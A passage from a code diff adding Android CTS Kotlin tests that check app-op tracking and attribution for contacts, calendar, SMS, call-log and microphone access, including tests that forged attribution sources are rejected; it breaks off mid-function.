+        val renouncedPermissions = ArraySet<String>()
+        renouncedPermissions.add(Manifest.permission.READ_CONTACTS);
+        val activity = createActivityWithAttributionSource(AttributionSource(Process.myUid(),
+                context.packageName, null, renouncedPermissions, null))
+
+        // Requesting renounced permissions throws
+        activity.requestPermissions(arrayOf(Manifest.permission.READ_CONTACTS), 1)
+    }
+
+    fun createActivityWithAttributionContext(receiverAttributionSource: AttributionSource?,
+            renouncedPermissions: Set<String>? = null) : Activity {
+        val contextParams = ContextParams.Builder()
+                .setRenouncedPermissions(renouncedPermissions)
+                .setNextAttributionSource(receiverAttributionSource)
+                .build()
+        return createActivityWithContextParams(contextParams)
+    }
+
+    fun createActivityWithAttributionSource(attributionSource: AttributionSource) : Activity {
+        val mockActivity = Mockito.mock(Activity::class.java)
+        `when`(mockActivity.getAttributionSource()).thenReturn(attributionSource)
+        return mockActivity
+    }
+
+    fun createActivityWithContextParams(contextParams: ContextParams) : Activity {
+        val activityReference = AtomicReference<NoOpActivity>()
+        instrumentation.runOnMainSync {
+            activityReference.set(NoOpActivity())
+        }
+        val activity = activityReference.get()
+        activity.attachBaseContext(context.createContext(contextParams))
+        return activity
+    }
+
+    companion object {
+        private val context: Context
+            get () = InstrumentationRegistry.getInstrumentation().getContext()
+
+        private val instrumentation: Instrumentation
+            get () = InstrumentationRegistry.getInstrumentation()
+
+        fun getShellAttributionSourceWithRenouncedPermissions() : AttributionSource {
+            // Let's cook up an attribution source for the shell with its cooperation
+            val renouncedPermissionsSet = ArraySet<String>();
+            renouncedPermissionsSet.add(Manifest.permission.READ_CONTACTS)
+            renouncedPermissionsSet.add(Manifest.permission.READ_CALENDAR)
+            val shellAttributionSource = AttributionSource.Builder(Process.SHELL_UID)
+                    .setPackageName("com.android.shell")
+                    .setRenouncedPermissions(renouncedPermissionsSet)
+                    .build()
+
+            SystemUtil.runWithShellPermissionIdentity {
+                val permissionManager = context.getSystemService(PermissionManager::class.java)!!
+                permissionManager.registerAttributionSource(shellAttributionSource);
+            }
+
+            return shellAttributionSource
+        }
+    }
+}
diff --git a/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt b/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
new file mode 100644
index 0000000..b5cfdcb
--- /dev/null
+++ b/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
@@ -0,0 +1,826 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.permission5.cts
+
+import android.Manifest
+import android.app.AppOpsManager
+import android.app.Instrumentation
+import android.content.AttributionSource
+import android.content.ComponentName
+import android.content.ContentValues
+import android.content.Context
+import android.content.ContextParams
+import android.content.Intent
+import android.net.Uri
+import android.os.Bundle
+import android.os.Process
+import android.os.RemoteCallback
+import android.os.SystemClock
+import android.provider.CalendarContract
+import android.provider.CallLog
+import android.provider.ContactsContract
+import android.provider.Telephony
+import android.speech.RecognitionListener
+import android.speech.SpeechRecognizer
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil
+import com.google.common.truth.Truth.assertThat
+import org.junit.After
+import org.junit.Before
+import org.junit.Test
+import java.util.concurrent.CountDownLatch
+import java.util.concurrent.TimeUnit
+import java.util.concurrent.atomic.AtomicReference
+import java.util.concurrent.locks.ReentrantLock
+import java.util.function.Consumer
+
+class RuntimePermissionsAppOpTrackingTest {
+
+    @Before
+    fun setUpTest() {
+        val appOpsManager = context.getSystemService(AppOpsManager::class.java)!!
+        SystemUtil.runWithShellPermissionIdentity {
+            appOpsManager.clearHistory()
+            appOpsManager.setHistoryParameters(
+                    AppOpsManager.HISTORICAL_MODE_ENABLED_ACTIVE,
+                    SNAPSHOT_INTERVAL_MILLIS,
+                    INTERVAL_COMPRESSION_MULTIPLIER)
+
+            appOpsManager.resetPackageOpsNoHistory(context.packageName)
+            appOpsManager.resetPackageOpsNoHistory(SHELL_PACKAGE_NAME)
+            appOpsManager.resetPackageOpsNoHistory(RECEIVER_PACKAGE_NAME)
+            appOpsManager.resetPackageOpsNoHistory(RECEIVER2_PACKAGE_NAME)
+        }
+    }
+
+    @After
+    fun tearDownTest() {
+        val appOpsManager = context.getSystemService(AppOpsManager::class.java)!!
+        SystemUtil.runWithShellPermissionIdentity {
+            appOpsManager.clearHistory()
+            appOpsManager.resetHistoryParameters()
+        }
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testSelfContactsAccess() {
+        testSelfAccess(ContactsContract.Contacts.CONTENT_URI,
+                Manifest.permission.READ_CONTACTS)
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testSelfCalendarAccess() {
+        testSelfAccess(CalendarContract.Calendars.CONTENT_URI,
+                Manifest.permission.READ_CALENDAR)
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testSelfSmsAccess() {
+        testSelfAccess(Telephony.Sms.CONTENT_URI,
+                Manifest.permission.READ_SMS)
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testSelfCallLogAccess() {
+        testSelfAccess(CallLog.Calls.CONTENT_URI,
+                Manifest.permission.READ_CALL_LOG)
+    }
+
+    @Throws(Exception::class)
+    private fun testSelfAccess(uri: Uri, permission: String) {
+        val context = createAttributionContext(ACCESSOR_ATTRIBUTION_TAG, null, null)
+        val beginEndMillis = System.currentTimeMillis()
+        context.contentResolver.query(uri, null, null, null)!!.close()
+        val endTimeMillis = System.currentTimeMillis()
+
+        assertNotRunningOpAccess(AppOpsManager.permissionToOp(permission)!!,
+                beginEndMillis, endTimeMillis, context.attributionSource,
+                /*accessorForeground*/ true, /*receiverForeground*/ false,
+                /*accessorTrusted*/ true, /*accessorAccessCount*/ 1,
+                /*receiverAccessCount*/ 0, /*checkAccessor*/ true)
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testSelfCalendarWrite() {
+        testSelfWrite(CalendarContract.Calendars.CONTENT_URI,
+                Manifest.permission.WRITE_CALENDAR)
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testSelfCallLogWrite() {
+        testSelfWrite(CallLog.Calls.CONTENT_URI,
+                Manifest.permission.WRITE_CALL_LOG)
+    }
+
+    @Throws(Exception::class)
+    private fun testSelfWrite(uri: Uri, permission: String) {
+        val context = createAttributionContext(ACCESSOR_ATTRIBUTION_TAG, null, null)
+        val beginEndMillis = System.currentTimeMillis()
+        context.contentResolver.insert(uri, ContentValues())
+        val endTimeMillis = System.currentTimeMillis()
+
+        assertNotRunningOpAccess(AppOpsManager.permissionToOp(permission)!!,
+                beginEndMillis, endTimeMillis, context.attributionSource,
+                /*accessorForeground*/ true, /*receiverForeground*/ false,
+                /*accessorTrusted*/ true, /*accessorAccessCount*/ 1,
+                /*receiverAccessCount*/ 0, /*checkAccessor*/ true)
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testUntrustedContactsAccessAttributeToAnother() {
+        testUntrustedAccessAttributeToAnother(ContactsContract.Contacts.CONTENT_URI,
+                Manifest.permission.READ_CONTACTS)
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testUntrustedCalendarAccessAttributeToAnother() {
+        testUntrustedAccessAttributeToAnother(CalendarContract.Calendars.CONTENT_URI,
+                Manifest.permission.READ_CALENDAR)
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testUntrustedSmsAccessAttributeToAnother() {
+        testUntrustedAccessAttributeToAnother(Telephony.Sms.CONTENT_URI,
+                Manifest.permission.READ_SMS)
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testUntrustedCallLogAccessAttributeToAnother() {
+        testUntrustedAccessAttributeToAnother(CallLog.Calls.CONTENT_URI,
+                Manifest.permission.READ_CALL_LOG)
+    }
+
+    @Throws(Exception::class)
+    private fun testUntrustedAccessAttributeToAnother(uri: Uri, permission: String) {
+        val context = createAttributionContext(ACCESSOR_ATTRIBUTION_TAG,
+                RECEIVER_PACKAGE_NAME, RECEIVER_ATTRIBUTION_TAG)
+        val beginEndMillis = System.currentTimeMillis()
+        context.contentResolver.query(uri, null, null, null)!!.close()
+        val endTimeMillis = System.currentTimeMillis()
+
+        assertNotRunningOpAccess(AppOpsManager.permissionToOp(permission)!!,
+                beginEndMillis, endTimeMillis, context.attributionSource,
+                /*accessorForeground*/ true, /*receiverForeground*/ false,
+                /*accessorTrusted*/ false, /*accessorAccessCount*/ 1,
+                /*receiverAccessCount*/ 1, /*checkAccessor*/ false)
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testUntrustedContactsAccessAttributeToAnotherThroughIntermediary() {
+        testUntrustedAccessAttributeToAnotherThroughIntermediary(
+                ContactsContract.Contacts.CONTENT_URI,
+                Manifest.permission.READ_CONTACTS)
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testUntrustedCalendarAccessAttributeToAnotherThroughIntermediary() {
+        testUntrustedAccessAttributeToAnotherThroughIntermediary(
+                CalendarContract.Calendars.CONTENT_URI,
+                Manifest.permission.READ_CALENDAR)
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testUntrustedSmsAccessAttributeToAnotherThroughIntermediary() {
+        testUntrustedAccessAttributeToAnotherThroughIntermediary(
+                Telephony.Sms.CONTENT_URI,
+                Manifest.permission.READ_SMS)
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testUntrustedCallLogAccessAttributeToAnotherThroughIntermediary() {
+        testUntrustedAccessAttributeToAnotherThroughIntermediary(
+                CallLog.Calls.CONTENT_URI,
+                Manifest.permission.READ_CALL_LOG)
+    }
+
+    @Throws(Exception::class)
+    private fun testUntrustedAccessAttributeToAnotherThroughIntermediary(uri: Uri,
+            permission: String) {
+        runWithAuxiliaryApps {
+            val nextAttributionSource = startBlamedAppActivity()
+
+            val intermediaryContext = context.createContext(ContextParams.Builder()
+                    .setNextAttributionSource(nextAttributionSource)
+                    .setAttributionTag(ACCESSOR_ATTRIBUTION_TAG)
+                    .build())
+
+            val beginEndMillis = System.currentTimeMillis()
+            intermediaryContext.contentResolver.query(uri, null, null, null)!!.close()
+            val endTimeMillis = System.currentTimeMillis()
+
+            // Assert first stage access
+            assertNotRunningOpAccess(AppOpsManager.permissionToOp(permission)!!,
+                    beginEndMillis, endTimeMillis, intermediaryContext.attributionSource,
+                    /*accessorForeground*/ true, /*receiverForeground*/ true,
+                    /*accessorTrusted*/ false, /*accessorAccessCount*/ 1,
+                    /*receiverAccessCount*/ 1, /*checkAccessor*/ false)
+
+            // Assert second stage access
+            assertNotRunningOpAccess(AppOpsManager.permissionToOp(permission)!!,
+                    beginEndMillis, endTimeMillis, nextAttributionSource,
+                    /*accessorForeground*/ true, /*receiverForeground*/ false,
+                    /*accessorTrusted*/ false, /*accessorAccessCount*/ 1,
+                    /*receiverAccessCount*/ 1,  /*checkAccessor*/ false)
+        }
+    }
+
+    @Test(expected = SecurityException::class)
+    fun testCannotForgeAttributionSource() {
+        val receiverSource = AttributionSource(context
+                .packageManager.getPackageUid(RECEIVER2_PACKAGE_NAME, 0),
+                RECEIVER2_PACKAGE_NAME, RECEIVER2_ATTRIBUTION_TAG, AttributionSource(context
+                .packageManager.getPackageUid(RECEIVER_PACKAGE_NAME, 0),
+                RECEIVER_PACKAGE_NAME, RECEIVER_ATTRIBUTION_TAG))
+        val intermediaryContext = context.createContext(ContextParams.Builder()
+            .setNextAttributionSource(receiverSource)
+            .setAttributionTag(ACCESSOR_ATTRIBUTION_TAG)
+            .build())
+        intermediaryContext.contentResolver.query(CallLog.Calls.CONTENT_URI, null,
+                null, null)!!.close()
+    }
+
+    @Test(expected = SecurityException::class)
+    fun testCannotAppendToForgeAttributionSource() {
+        runWithAuxiliaryApps {
+            val nextAttributionSource = startBlamedAppActivity()
+            val untrustedAttributionSource = AttributionSource(context
+                    .packageManager.getPackageUid(RECEIVER2_PACKAGE_NAME, 0),
+                    RECEIVER2_PACKAGE_NAME, RECEIVER2_ATTRIBUTION_TAG,
+                    nextAttributionSource)
+            val intermediaryContext = context.createContext(ContextParams.Builder()
+                    .setNextAttributionSource(untrustedAttributionSource)
+                    .setAttributionTag(ACCESSOR_ATTRIBUTION_TAG)
+                    .build())
+            intermediaryContext.contentResolver.query(CallLog.Calls.CONTENT_URI, null,
+                    null, null)!!.close()
+        }
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testTrustedAccessContactsAttributeToAnother() {
+        testTrustedAccessAttributeToAnother(ContactsContract.Contacts.CONTENT_URI,
+                Manifest.permission.READ_CONTACTS)
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testTrustedAccessCalendarAttributeToAnother() {
+        testTrustedAccessAttributeToAnother(CalendarContract.Calendars.CONTENT_URI,
+                Manifest.permission.READ_CALENDAR)
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testTrustedAccessSmsAttributeToAnother() {
+        testTrustedAccessAttributeToAnother(Telephony.Sms.CONTENT_URI,
+                Manifest.permission.READ_SMS)
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testTrustedAccessCallLogAttributeToAnother() {
+        testTrustedAccessAttributeToAnother(CallLog.Calls.CONTENT_URI,
+                Manifest.permission.READ_CALL_LOG)
+    }
+
+    @Throws(Exception::class)
+    private fun testTrustedAccessAttributeToAnother(uri: Uri, permission: String) {
+        val context = createAttributionContext(ACCESSOR_ATTRIBUTION_TAG,
+                RECEIVER_PACKAGE_NAME, RECEIVER_ATTRIBUTION_TAG)
+        val beginEndMillis = System.currentTimeMillis()
+        SystemUtil.runWithShellPermissionIdentity {
+            context.contentResolver.query(uri, null, null, null)!!.close()
+        }
+        val endTimeMillis = System.currentTimeMillis()
+
+        // Since we use adopt the shell permission identity we need to adjust
+        // the permission identity to have the shell as the accessor.
+        assertNotRunningOpAccess(AppOpsManager.permissionToOp(permission)!!,
+                beginEndMillis, endTimeMillis, AttributionSource(Process.SHELL_UID,
+                SHELL_PACKAGE_NAME, context.attributionTag, context.attributionSource.next),
+                /*accessorForeground*/ false, /*receiverForeground*/ false,
+                /*accessorTrusted*/ true, /*accessorAccessCount*/ 1,
+                /*receiverAccessCount*/ 1,  /*checkAccessor*/ false)
+    }
+
+    @Test
+    @Throws(Exception::class)
+    fun testMicRecognition() {
+        runWithAuxiliaryApps {
+            startBlamedAppActivity()
+
+            val context = createAttributionContext(ACCESSOR_ATTRIBUTION_TAG,
+                    RECEIVER_PACKAGE_NAME, RECEIVER_ATTRIBUTION_TAG)
+
+            val recognizerRef = AtomicReference<SpeechRecognizer>()
+            val recoStarted = CountDownLatch(1)
+            val speechStartTime = System.currentTimeMillis()
+
+            instrumentation.runOnMainSync {
+                val recognizer = SpeechRecognizer.createSpeechRecognizer(context,
+                        ComponentName(RECEIVER2_PACKAGE_NAME, RECOGNITION_SERVICE))
+
+                recognizer.setRecognitionListener(object : RecognitionListener {
+                    override fun onReadyForSpeech(params: Bundle?) {}
+                    override fun onRmsChanged(rmsdB: Float) {}
+                    override fun onBufferReceived(buffer: ByteArray?) {
+                        recoStarted.countDown()
+                    }
+                    override fun onPartialResults(partialResults: Bundle?) {}
+                    override fun onEvent(eventType: Int, params: Bundle?) {}
+                    override fun onError(error: Int) {}
+                    override fun onResults(results: Bundle?) {}
+                    override fun onBeginningOfSpeech() {}
+                    override fun onEndOfSpeech() {}
+                })
+
+                val recoIntent = Intent()
+                recoIntent.putExtra(OPERATION, OPERATION_INJECT_RECO)
+                recognizer.startListening(recoIntent)
+
+                recognizerRef.set(recognizer)
+            }
+
+            try {
+                recoStarted.await(ASYNC_OPERATION_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+
+                val op = AppOpsManager.permissionToOp(Manifest.permission.RECORD_AUDIO)!!
+
+                assertRunningOpAccess(op, speechStartTime, System.currentTimeMillis(),
+                        AttributionSource(context.packageManager.getPackageUid(
+                                RECEIVER2_PACKAGE_NAME, 0), RECEIVER2_PACKAGE_NAME,
+                                /*attributionTag*/ null, context.attributionSource),
+                        /*accessorForeground*/ true, /*receiverForeground*/ true,
+                        /*accessorTrusted*/ false, /*accessorAccessCount*/ 1,
+                        /*receiverAccessCount*/ 1,  /*checkAccessor*/ true)
+
+                assertRunningOpAccess(op, speechStartTime, System.currentTimeMillis(),
+                        context.attributionSource, /*accessorForeground*/ true,
+                        /*receiverForeground*/ true, /*accessorTrusted*/ false,
+                        /*accessorAccessCount*/ 0, /*receiverAccessCount*/ 1,
+                        /*checkAccessor*/ false)
+            } finally {
+                // Take down the recognition service
+                instrumentation.runOnMainSync({ recognizerRef.get().destroy() })
+            }
+        }
+    }
+
+    fun runWithAuxiliaryApps(worker: () -> Unit) {
+        ensureAuxiliaryAppsNotRunningAndNoResidualProcessState()
+        try {
+            worker.invoke()
+        } finally {
+            ensureAuxiliaryAppsNotRunningAndNoResidualProcessState();
+        }
+    }
+
+    companion object {
+        private const val ASYNC_OPERATION_TIMEOUT_MILLIS: Long = 5000 // 5 sec
+        private const val INTERVAL_COMPRESSION_MULTIPLIER = 10
+        private const val SNAPSHOT_INTERVAL_MILLIS: Long = 1000
+
+        val SHELL_PACKAGE_NAME = "com.android.shell"
+        val RECEIVER_PACKAGE_NAME = "android.permission5.cts.blamed"
+        val BRING_TO_FOREGROUND_ACTIVITY =
+                "android.permission5.cts.blamed.BringToForegroundActivity"
+        val RECOGNITION_SERVICE = "android.permission5.cts.blamed2.MyRecognitionService"
+        val REMOTE_CALLBACK = "remote_callback"
+        val ATTRIBUTION_SOURCE = "attribution_source"
+        val ACCESSOR_ATTRIBUTION_TAG = "accessor_attribution_tag"
+        val RECEIVER2_PACKAGE_NAME = "android.permission5.cts.blamed2"
+        val RECEIVER_ATTRIBUTION_TAG = "receiver_attribution_tag"
+        val RECEIVER2_ATTRIBUTION_TAG = "receiver2_attribution_tag"
+
+        val OPERATION = "operation"
+        val OPERATION_MIC_RECO = "operation:mic_reco"
+        val OPERATION_INJECT_RECO = "operation:inject_reco"
+
+        private val context: Context
+            get () = InstrumentationRegistry.getInstrumentation().getContext()
+
+        private val instrumentation: Instrumentation
+            get () = InstrumentationRegistry.getInstrumentation()
+
+        fun ensureAuxiliaryAppsNotRunningAndNoResidualProcessState() {
+            SystemUtil.runShellCommand("am force-stop $RECEIVER_PACKAGE_NAME")
+            SystemUtil.runShellCommand("am force-stop $RECEIVER2_PACKAGE_NAME")
+            SystemClock.sleep(ASYNC_OPERATION_TIMEOUT_MILLIS)
+        }
+
+        @Throws(Exception::class)
+        private fun assertRunningOpAccess(op: String, beginEndMillis: Long,
+                endTimeMillis: Long, attributionSource: AttributionSource,
+                accessorForeground: Boolean, receiverForeground: Boolean,
+                accessorTrusted: Boolean, accessorAccessCount: Int,
+                receiverAccessCount: Int, checkAccessor: Boolean) {
+            assertOpAccess(op, beginEndMillis, endTimeMillis, attributionSource,
+                    accessorForeground, receiverForeground, accessorTrusted,
+                    /*assertRunning*/ true, accessorAccessCount, receiverAccessCount,
+                    checkAccessor)
+        }
+
+        @Throws(Exception::class)
+        private fun assertNotRunningOpAccess(op: String, beginEndMillis: Long,
+                endTimeMillis: Long, attributionSource: AttributionSource,
+                accessorForeground: Boolean, receiverForeground: Boolean,
+                accessorTrusted: Boolean, accessorAccessCount: Int,
+                receiverAccessCount: Int, checkAccessor: Boolean) {
+            assertOpAccess(op, beginEndMillis, endTimeMillis, attributionSource,
+                    accessorForeground, receiverForeground, accessorTrusted,
+                    /*assertRunning*/ false, accessorAccessCount, receiverAccessCount,
+                    checkAccessor)
+        }
+
+        @Throws(Exception::class)
+        private fun assertOpAccess(op: String, beginEndMillis: Long,
+                endTimeMillis: Long, attributionSource: AttributionSource,
+                accessorForeground: Boolean, receiverForeground: Boolean, accessorTrusted: Boolean,
+                assertRunning: Boolean, accessorAccessCount: Int, receiverAccessCount: Int,
+                checkAccessor: Boolean) {
+            assertLastOpAccess(op, beginEndMillis, endTimeMillis, attributionSource,
+                    accessorForeground, receiverForeground, accessorTrusted, assertRunning,
+                    checkAccessor)
+            assertHistoricalOpAccess(op, attributionSource, accessorForeground,
+                    receiverForeground, accessorTrusted, accessorAccessCount, receiverAccessCount,
+                    checkAccessor)
+        }
+
+        private fun assertLastOpAccess(op: String, beginEndMillis: Long,
+                endTimeMillis: Long, attributionSource: AttributionSource,
+                accessorForeground: Boolean, receiverForeground: Boolean,
+                accessorTrusted: Boolean, assertRunning: Boolean, checkAccessor: Boolean) {
+            val appOpsManager = context.getSystemService(AppOpsManager::class.java)!!
+            val allPackagesOps: MutableList<AppOpsManager.PackageOps?> = ArrayList()
+            SystemUtil.runWithShellPermissionIdentity<Boolean> {
+                allPackagesOps.addAll(appOpsManager.getPackagesForOps(arrayOf(op)))
+            }
+            if (checkAccessor) {
+                assertLastAccessorOps(op, beginEndMillis, endTimeMillis, attributionSource,
+                        accessorForeground, accessorTrusted, assertRunning, allPackagesOps)
+            } else {
+                assertNotLastAccessorOps(op, attributionSource, allPackagesOps)
+            }
+            if (attributionSource.next != null) {
+                assertLastReceiverOps(op, beginEndMillis, endTimeMillis, attributionSource,
+                        receiverForeground, accessorTrusted, assertRunning, allPackagesOps)
+            }
+        }
+
+        @Throws(Exception::class)
+        private fun assertHistoricalOpAccess(op: String, attributionSource: AttributionSource,
+                accessorForeground: Boolean, receiverForeground: Boolean,
+                accessorTrusted: Boolean, accessorAccessCount: Int, receiverAccessCount: Int,
+                checkAccessor: Boolean) {
+            val appOpsManager = context.getSystemService(AppOpsManager::class.java)!!
+            val request = AppOpsManager.HistoricalOpsRequest.Builder(0, Long.MAX_VALUE)
+                    .setOpNames(listOf(op))
+                    .build()
+            val historicalOpsRef = AtomicReference<AppOpsManager.HistoricalOps>()
+            val lock = ReentrantLock();
+            val condition = lock.newCondition();
+            SystemUtil.runWithShellPermissionIdentity {
+                appOpsManager.getHistoricalOps(request, context.mainExecutor,
+                        Consumer { historicalOps: AppOpsManager.HistoricalOps ->
+                            historicalOpsRef.set(historicalOps)
+                            lock.lock()
+                            try {
+                                condition.signalAll()
+                            } finally {
+                                lock.unlock()
+                            }
+                        })
+            }
+            lock.lock()
+            try {
+                condition.await(ASYNC_OPERATION_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
+            } finally {
+                lock.unlock()
+            }
+
+            val historicalOps = historicalOpsRef.get()
+            if (checkAccessor) {
+                assertHistoricalAccessorOps(op, attributionSource, accessorForeground,
+                        accessorTrusted, accessorAccessCount, historicalOps)
+            } else {
+                assertNoHistoricalAccessorOps(op, attributionSource, historicalOps)
+            }
+            if (attributionSource.next != null) {
+                assertHistoricalReceiverOps(op, attributionSource, receiverForeground,
+                        accessorTrusted, receiverAccessCount, historicalOps)
+            }
+        }
+
+        private fun assertLastAccessorOps(op: String, beginEndMillis: Long,
+                endTimeMillis: Long, attributionSource: AttributionSource,
+                accessorForeground: Boolean, accessorTrusted: Boolean, assertRunning: Boolean,
+                allPackagesOps: List<AppOpsManager.PackageOps?>) {
+            val accessorPackageOps = findPackageOps(attributionSource.uid,
+                    attributionSource.packageName!!, allPackagesOps)
+            for (opEntry in accessorPackageOps!!.ops) {
+                if (!op.equals(opEntry.opStr)) {
+                    continue
+                }
+                val attributedOpEntry = opEntry.attributedOpEntries[
+                        attributionSource.attributionTag]
+                if (attributionSource.next == null) {
+                    // Access for ourselves
+                    assertLastAccessInRange(attributedOpEntry!!, beginEndMillis, endTimeMillis,
+                            AppOpsManager.OP_FLAG_SELF, accessorForeground, assertRunning)
+                } else if (accessorTrusted) {
+                    // Access for others and we are trusted
+                    assertLastAccessInRange(attributedOpEntry!!, beginEndMillis, endTimeMillis,
+                            AppOpsManager.OP_FLAG_TRUSTED_PROXY, accessorForeground, assertRunning)
+                } else {
+                    // Access for others and we are not trusted
+                    assertLastAccessInRange(attributedOpEntry!!, beginEndMillis, endTimeMillis,
+                            AppOpsManager.OP_FLAG_UNTRUSTED_PROXY, accessorForeground,
+                            assertRunning)
+                }
+            }
+        }
+
+        private fun assertNotLastAccessorOps(op: String, attributionSource: AttributionSource,
+                allPackagesOps: List<AppOpsManager.PackageOps?>) {
+            val accessorPackageOps = findPackageOps(attributionSource.uid,
+                    attributionSource.packageName!!, allPackagesOps) ?: return
+            for (opEntry in accessorPackageOps.ops) {
+                if (!op.equals(opEntry.opStr)) {
+                    continue
+                }
+                val attributedOpEntry = opEntry.attributedOpEntries[
+                        attributionSource.attributionTag]
+                if (attributedOpEntry != null) {
+                    assertThat(attributedOpEntry.getLastAccessBackgroundTime(
+                            AppOpsManager.OP_FLAG_SELF
+                            or AppOpsManager.OP_FLAG_UNTRUSTED_PROXY
+                            or AppOpsManager.OP_FLAG_TRUSTED_PROXY)).isEqualTo(-1)
+                    assertThat(attributedOpEntry.getLastAccessBackgroundTime(
+                            AppOpsManager.OP_FLAG_SELF
+                            or AppOpsManager.OP_FLAG_UNTRUSTED_PROXY
+                            or AppOpsManager.OP_FLAG_TRUSTED_PROXY)).isEqualTo(-1)
+                }
+            }
+        }
+
+        private fun assertHistoricalAccessorOps(op: String,
+                attributionSource: AttributionSource, accessorForeground: Boolean,
+                accessorTrusted: Boolean, assertedAccessCount: Int,
+                historicalOps: AppOpsManager.HistoricalOps) {
+            val accessorPackageOps = findPackageOps(
+                    attributionSource.uid, attributionSource.packageName!!,
+                    historicalOps)
+            val attributedPackageOps = accessorPackageOps?.getAttributedOps(
+                    attributionSource.attributionTag)
+
+            val attributedPackageOp = attributedPackageOps!!.getOp(op)
+            if (attributionSource.next == null) {
+                // Access for ourselves
+                assertAccessCount(attributedPackageOp!!, AppOpsManager.OP_FLAG_SELF,
+                        accessorForeground, assertedAccessCount)
+            } else if (accessorTrusted) {
+                // Access for others and we are trusted
+                assertAccessCount(attributedPackageOp!!, AppOpsManager.OP_FLAG_TRUSTED_PROXY,
+                        accessorForeground, assertedAccessCount)
+            } else {
+                // Access for others and we are not trusted
+                assertAccessCount(attributedPackageOp!!, AppOpsManager.OP_FLAG_UNTRUSTED_PROXY,
+                        accessorForeground, assertedAccessCount)
+            }
+        }
+
+        private fun assertNoHistoricalAccessorOps(op: String, attributionSource: AttributionSource,
+                historicalOps: AppOpsManager.HistoricalOps) {
+            val accessorPackageOps = findPackageOps(
+                    attributionSource.uid, attributionSource.packageName!!,
+                    historicalOps)
+            val attributedPackageOps = accessorPackageOps?.getAttributedOps(
+                    attributionSource.attributionTag) ?: return
+            val attributedPackageOp = attributedPackageOps.getOp(op)
+            if (attributedPackageOp != null) {
+                assertThat(attributedPackageOp.getBackgroundAccessCount(
+                        AppOpsManager.OP_FLAG_SELF
+                                or AppOpsManager.OP_FLAG_UNTRUSTED_PROXY
+                                or AppOpsManager.OP_FLAG_TRUSTED_PROXY)).isEqualTo(0)
+                assertThat(attributedPackageOp.getBackgroundAccessCount(
+                        AppOpsManager.OP_FLAG_SELF
+                                or AppOpsManager.OP_FLAG_UNTRUSTED_PROXY
+                                or AppOpsManager.OP_FLAG_TRUSTED_PROXY)).isEqualTo(0)
+            }
+        }
+
+        private fun assertLastReceiverOps(op: String, beginTimeMillis: Long,
+                endTimeMillis: Long, attributionSource: AttributionSource,
+                receiverForeground: Boolean, accessorTrusted: Boolean, assertRunning: Boolean,
+                allPackagesOps: List<AppOpsManager.PackageOps?>) {
+            val receiverPackageOps = findPackageOps(
+                    attributionSource.next!!.uid,
+                    attributionSource.next!!.packageName!!,
+                    allPackagesOps)
+            for (opEntry in receiverPackageOps!!.ops) {
+                if (op != opEntry.opStr) {
+                    continue
+                }
+                val attributedOpEntry = opEntry.attributedOpEntries[
+                        attributionSource.next!!.attributionTag]
+                val opProxyInfo: AppOpsManager.OpEventProxyInfo?
+                opProxyInfo = if (accessorTrusted) {
+                    // Received from a trusted accessor
+                    assertLastAccessInRange(attributedOpEntry!!, beginTimeMillis, endTimeMillis,
+                            AppOpsManager.OP_FLAG_TRUSTED_PROXIED,  receiverForeground,
+                            assertRunning)
+                    attributedOpEntry.getLastProxyInfo(
+                            AppOpsManager.OP_FLAG_TRUSTED_PROXIED)
+                } else {
+                    // Received from an untrusted accessor
+                    assertLastAccessInRange(attributedOpEntry!!, beginTimeMillis, endTimeMillis,
+                            AppOpsManager.OP_FLAG_UNTRUSTED_PROXIED,  receiverForeground,
+                            assertRunning)
+                    attributedOpEntry.getLastProxyInfo(
+                            AppOpsManager.OP_FLAG_UNTRUSTED_PROXIED)
+                }
+                assertThat(opProxyInfo!!.uid).isEqualTo(attributionSource.uid)
+                assertThat(opProxyInfo.packageName).isEqualTo(attributionSource.packageName)
+                assertThat(opProxyInfo.attributionTag).isEqualTo(attributionSource.attributionTag)
+            }
+        }
+
+        private fun assertHistoricalReceiverOps(op: String, attributionSource: AttributionSource,
+                receiverForeground: Boolean, receiverTrusted: Boolean, assertedAccessCount: Int,
+                historicalOps: AppOpsManager.HistoricalOps) {
+            val accessorPackageOps = findPackageOps(
+                    attributionSource.next!!.uid,
+                    attributionSource.next!!.packageName!!,
+                    historicalOps)
+            val attributedPackageOps = accessorPackageOps?.getAttributedOps(
+                    attributionSource.next!!.attributionTag!!)
+            val attributedPackageOp = attributedPackageOps!!.getOp(op)
+            if (receiverTrusted) {
+                // Received from a trusted accessor
+                assertAccessCount(attributedPackageOp!!, AppOpsManager.OP_FLAG_TRUSTED_PROXIED,
+                        receiverForeground, assertedAccessCount)
+            } else {
+                // Received from an untrusted accessor
